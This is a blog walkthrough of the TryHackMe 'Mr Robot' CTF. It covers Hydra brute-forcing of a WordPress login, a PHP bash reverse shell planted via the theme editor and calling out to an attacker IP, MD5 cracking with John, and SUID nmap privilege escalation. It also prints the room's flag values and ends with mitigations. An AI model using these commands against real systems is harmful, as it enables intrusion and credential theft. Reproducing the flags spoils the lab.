DEV Community

Farhan Hussain
Farhan Hussain

Posted on

An 858,160-Word Wordlist Had Only 11,451 Unique Words In It — Mr Robot CTF (TryHackMe)

Platform: TryHackMe · Difficulty: Medium · Category: WordPress Credential Brute Force / SUID GTFOBins

Introduction

Mr Robot CTF is themed around the TV show of the same name, and it earns its medium difficulty honestly: the username isn't guessable without a custom wordlist, the wordlist is enormous without deduplication, and the route to a shell via the WordPress theme editor requires persistence when the obvious Metasploit path stumbles. The escalation chain is short but elegant — a two-step hop through robot and straight to root via one of the most classic GTFOBins entries that exists: SUID nmap's --interactive mode, a feature removed from nmap years ago but preserved here as a deliberate challenge artefact.

Recon

rustscan -a 10.48.166.199 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
Enter fullscreen mode Exit fullscreen mode
Port Service Version
22/tcp SSH OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp HTTP Apache (WordPress)
443/tcp HTTPS Apache (self-signed cert: www.example.com)

Both ports 80 and 443 serve WordPress. The SSL cert is a generic placeholder — nothing to extract from it.

Feroxbuster confirmed the expected WordPress structure. One critical discovery:

200  http://10.48.166.199/robots.txt
Enter fullscreen mode Exit fullscreen mode
User-agent: *
fsocity.dic
key-1-of-3.txt
Enter fullscreen mode Exit fullscreen mode

Both files are listed without Disallow — explicitly announced rather than hidden. key-1-of-3.txt is the first flag. fsocity.dic is a 6.9MB custom wordlist.

wc -w fsocity.dic
# 858160
Enter fullscreen mode Exit fullscreen mode

858,160 words — most of them duplicates. Running Hydra against this raw would take hours unnecessarily.

sort fsocity.dic | uniq -d > fs-list    # repeated words
sort fsocity.dic | uniq -u >> fs-list   # unique words
wc -w fs-list
# 11451
Enter fullscreen mode Exit fullscreen mode

Down to 11,451 words — a 98.7% reduction. Hydra now finishes in minutes rather than hours.

Foothold

WordPress login error messages distinguish between "invalid username" and "wrong password for this username" — a classic username enumeration vector. This allows running Hydra in two separate, faster passes.

Pass 1 — username enumeration (failure string: "Invalid username"):

hydra -L fs-list -p test 10.48.166.199 \
  http-post-form \
  "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username" -t 30
Enter fullscreen mode Exit fullscreen mode
[80][http-post-form] host: 10.48.166.199   login: elliot   password: test
[80][http-post-form] host: 10.48.166.199   login: Elliot   password: test
[80][http-post-form] host: 10.48.166.199   login: ELLIOT   password: test
Enter fullscreen mode Exit fullscreen mode

Username: elliot (all three case variants confirmed — WordPress login is case-insensitive for usernames).

Pass 2 — password brute force (failure string: "The password you entered for the username"):

hydra -l elliot -P fs-list 10.48.166.199 \
  http-post-form \
  "/wp-login.php:log=^USER^&pwd=^PASS^:F=The password you entered for the username" -t 30
Enter fullscreen mode Exit fullscreen mode
[80][http-post-form] host: 10.48.166.199   login: elliot   password: ER28-0652
Enter fullscreen mode Exit fullscreen mode

Password: ER28-0652 — a reference to Elliot Alderson's employee ID from the show.

Logged into the WordPress admin panel. The Theme Editor (Appearance → Editor) allows direct PHP file editing. Target: archive.php in the Twenty Fifteen theme, a file that won't break site functionality if overwritten.

<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.134.217/4444 0>&1'");
?>
Enter fullscreen mode Exit fullscreen mode

Triggering the shell by visiting the archive page:

http://10.48.166.199/?cat=1
Enter fullscreen mode Exit fullscreen mode
# listener
connect to [192.168.134.217] from (UNKNOWN) [10.48.166.199] 51092
daemon@ip-10-48-166-199:/...twentyfifteen$
Enter fullscreen mode Exit fullscreen mode

Shell landed as daemon. Full stabilisation:

python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
stty rows 40 columns 120
Enter fullscreen mode Exit fullscreen mode

Shell / Access

ls /home/robot
# key-2-of-3.txt    password.raw-md5
Enter fullscreen mode Exit fullscreen mode

key-2-of-3.txt is permission-denied for daemon. But password.raw-md5 is readable:

cat /home/robot/password.raw-md5
# robot:c3fcd3d76192e4007dfb496cca67e13b
Enter fullscreen mode Exit fullscreen mode

A raw MD5 hash for robot. John's auto-detection misidentified the format as LM and cracked nothing. Specifying the format explicitly:

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Enter fullscreen mode Exit fullscreen mode
abcdefghijklmnopqrstuvwxyz   (robot)
Enter fullscreen mode Exit fullscreen mode

Password: the entire lowercase alphabet in order.

su robot
# Password: abcdefghijklmnopqrstuvwxyz
robot@ip-10-48-166-199:~$ cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
Enter fullscreen mode Exit fullscreen mode

Escalation

find / -perm -u=s -type f 2>/dev/null
Enter fullscreen mode Exit fullscreen mode

The standout entry:

/usr/local/bin/nmap
Enter fullscreen mode Exit fullscreen mode

nmap v3.81 (an extremely old version from ~2005) included an --interactive mode that dropped users into an nmap shell. From that shell, !command executed arbitrary OS commands — and since nmap ran as root via SUID, those commands ran as root too. This feature was removed from nmap long before most modern systems shipped, but this box preserves it deliberately as the intended escalation path.

/usr/local/bin/nmap --interactive
Enter fullscreen mode Exit fullscreen mode
Starting nmap V. 3.81
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
Enter fullscreen mode Exit fullscreen mode
root@ip-10-48-166-199:~# cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
Enter fullscreen mode Exit fullscreen mode

Exploitation — The Full Chain

  1. robots.txt → key 1 + fsocity.dic wordlist
  2. Wordlist deduplication → 858K → 11K words
  3. Hydra pass 1 (username enum) → elliot; pass 2 (password) → ER28-0652
  4. WordPress theme editor → archive.php → bash reverse shell as daemon
  5. password.raw-md5 → John (Raw-MD5) → abcdefghijklmnopqrstuvwxyz
  6. su robot → key 2
  7. SUID nmap --interactive → !sh → root → key 3

Rabbit Holes

Metasploit's wp_crop_rce failure. WPScan flagged CVE-2019-8942 — the same exploit that worked on the Blog box — and Metasploit's wp_crop_rce module was tried first. It failed to produce a session repeatedly without a clear error, possibly a WordPress configuration difference or the Bitnami installation layout affecting the image upload path. The theme editor manual approach worked cleanly where Metasploit didn't.

Manual theme editor shell, first attempt. Before landing on archive.php, the standard functions.php and header.php theme files were tried first. Multiple attempts failed — likely because the theme was actively serving requests and PHP syntax errors in core template files caused 500 responses before the shell could fire. Switching to archive.php and a clean one-liner resolved it.

John's auto-detection as LM format. Running john on the raw MD5 hash without specifying a format caused it to detect the hash as LM (Windows LAN Manager) and run the wrong algorithm, producing zero results. The filename password.raw-md5 was a direct hint about the format that went unread for longer than it should have.

!/bin/sh vs !sh in nmap interactive. The first attempt typed !/bin/sh and received "not found." The correct syntax drops the leading / — !sh works because sh is in the system PATH, while !/bin/sh is treated as the entire command literal including the exclamation mark prefix.

Flags

Flag Value Location
Key 1 073403c8a58a1f80d943455fb30724b9 /key-1-of-3.txt (via robots.txt)
Key 2 822c73956184f694993bede3eb39f959 /home/robot/key-2-of-3.txt
Key 3 04787ddef27c3dee1ee161b21670b4e4 /root/key-3-of-3.txt

Mitigations

Vulnerability Severity Mitigation
robots.txt listing sensitive files High robots.txt is public — never list sensitive paths; use proper access controls instead of obscurity
Custom wordlist served publicly High Never expose wordlists, dictionaries, or any non-public asset from the webroot
WordPress login username enumeration Medium Disable login error message differentiation (use a plugin or a filter on login_errors)
Weak WordPress password brute-forceable from a reduced wordlist High Use a randomly generated password; enable login attempt limiting
WordPress Theme Editor enabled for authenticated users Critical Disable the theme/plugin editor in wp-config.php: define('DISALLOW_FILE_EDIT', true)
Raw MD5 password hash for a system user Critical Use properly salted hashes (bcrypt, sha512crypt) for system user passwords
SUID bit on ancient nmap v3.81 with interactive mode Critical Remove SUID from any binary not explicitly requiring it; replace with a modern nmap — interactive mode was removed specifically because of this escalation path

Key Takeaway

Always deduplicate custom wordlists before feeding them to Hydra — 858,160 entries shrunk to 11,451 is a 75× speed improvement for zero information loss. The extra 30 seconds of sort | uniq preprocessing is the difference between a 5-minute brute force and an all-night one.


Room: TryHackMe — Mr Robot CTF

Top comments (0)